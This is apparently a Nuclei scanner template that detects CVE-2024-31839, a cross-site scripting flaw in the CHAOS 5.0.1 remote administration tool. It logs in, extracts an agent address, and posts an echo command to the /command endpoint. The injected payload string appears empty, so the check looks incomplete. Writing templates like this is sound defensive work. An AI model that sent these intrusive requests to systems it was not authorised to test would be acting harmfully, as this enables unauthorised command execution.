id: CVE-2024-31839 info: name: CHAOS 5.0.1 'sendCommandHandler' - Cross-Site Scripting author: riteshs4hu severity: medium description: | Cross Site Scripting vulnerability in tiagorlampert CHAOS v.5.0.1 allows a remote attacker to escalate privileges via the sendCommandHandler function in the handler.go component. impact: | Attackers can inject malicious scripts that execute in users' browsers, potentially escalating privileges and compromising user sessions. remediation: | Update CHAOS to a version that patches the XSS vulnerability in the sendCommandHandler function. reference: - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb - https://github.com/tiagorlampert/CHAOS classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2024-31839 cwe-id: CWE-79 epss-score: 0.08104 epss-percentile: 0.94226 cpe: cpe:2.3:a:tiagorlampert:chaos:5.0.1:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: tiagorlampert product: chaos tags: cve,cve2024,chaos,tiagorlampert,xss,intrusive,vkev,vuln flow: http(1) && http(2) && http(3) http: - raw: - | POST /auth HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------7531776718188184812862255877 -----------------------------7531776718188184812862255877 Content-Disposition: form-data; name="username" {{username}} -----------------------------7531776718188184812862255877 Content-Disposition: form-data; name="password" {{password}} -----------------------------7531776718188184812862255877-- - raw: - | GET / HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: address regex: - 'href="/shell\?address=([^"]+)"' group: 1 internal: true - raw: - | POST /command HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------424661958414611637671358243344 -----------------------------424661958414611637671358243344 Content-Disposition: form-data; name="address" {{url_decode(address)}} -----------------------------424661958414611637671358243344 Content-Disposition: form-data; name="command" echo '' -----------------------------424661958414611637671358243344-- matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/plain")' - 'contains(body, "")' condition: and # digest: 4b0a00483046022100b6448e091d39a61c2bb4486444a6dce7f71412a08ed41cac43cf5cd75c25a761022100b8a113f3c2fc5c61eaed52ebfb9411d7a2f335aec691acc92b5f6f84ffe2f804:922c64590222798bb761d5b6d8e72950